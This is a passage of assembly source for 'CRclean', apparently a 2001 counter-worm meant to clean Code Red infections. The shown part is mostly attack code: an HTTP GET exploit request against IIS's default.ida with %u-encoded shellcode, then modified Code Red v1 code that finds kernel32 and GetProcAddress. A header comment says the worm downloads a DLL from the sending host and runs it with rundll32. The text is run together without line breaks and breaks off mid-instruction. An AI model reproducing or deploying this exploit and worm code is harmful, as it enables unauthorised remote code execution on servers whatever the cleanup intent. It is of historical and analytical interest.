A copy of the Code patched by Microsoft

;; CRclean.asm; by Markus Kern <markus-kern@gmx.net>; 06.08.2001;; downloads CRclean.dll from sender and executes it using rundll32.exe; then calls ExitProcess() on success or sleeps forever on failure;.386p.model flat.codeassume fs:nothingdb ''GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-''db ''--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so''db ''urce---this-worm-does-not-spread-actively---if-you-see-this-''db ''the-destination-host-is-infected-with-Code-Red--------------''db ''-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685''db ''8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f''db ''f%u0078%u0000%u00=a  HTTP/1.0'',0Dh,0Ahdb ''Content-type: text/xml'',0Ahdb ''Content-length: 0988'',0Dh,0Ah,0Dh,0Ah; execution starts here with slightly modified Code Red v1 code; finds GetProcAddress and kernel32.dll basepush  ebpmov  ebp, espsub  esp, 218hpush  ebxpush  esipush  edilea  edi, [ebp-218h]mov  ecx, 86hmov  eax, 0CCCCCCCChrep  stosdmov  [ebp-190h], dword ptr 0lea  edi, [ebp-110h]mov  eax, dword ptr fs:0mov  [edi+8], eaxmov  dword ptr fs:0, edimov  dword ptr [ebp-110h], 0FFFFFFFFhmov  dword ptr [ebp-1A8h],77E00000hRVA_1:cmp  dword ptr [ebp-190h],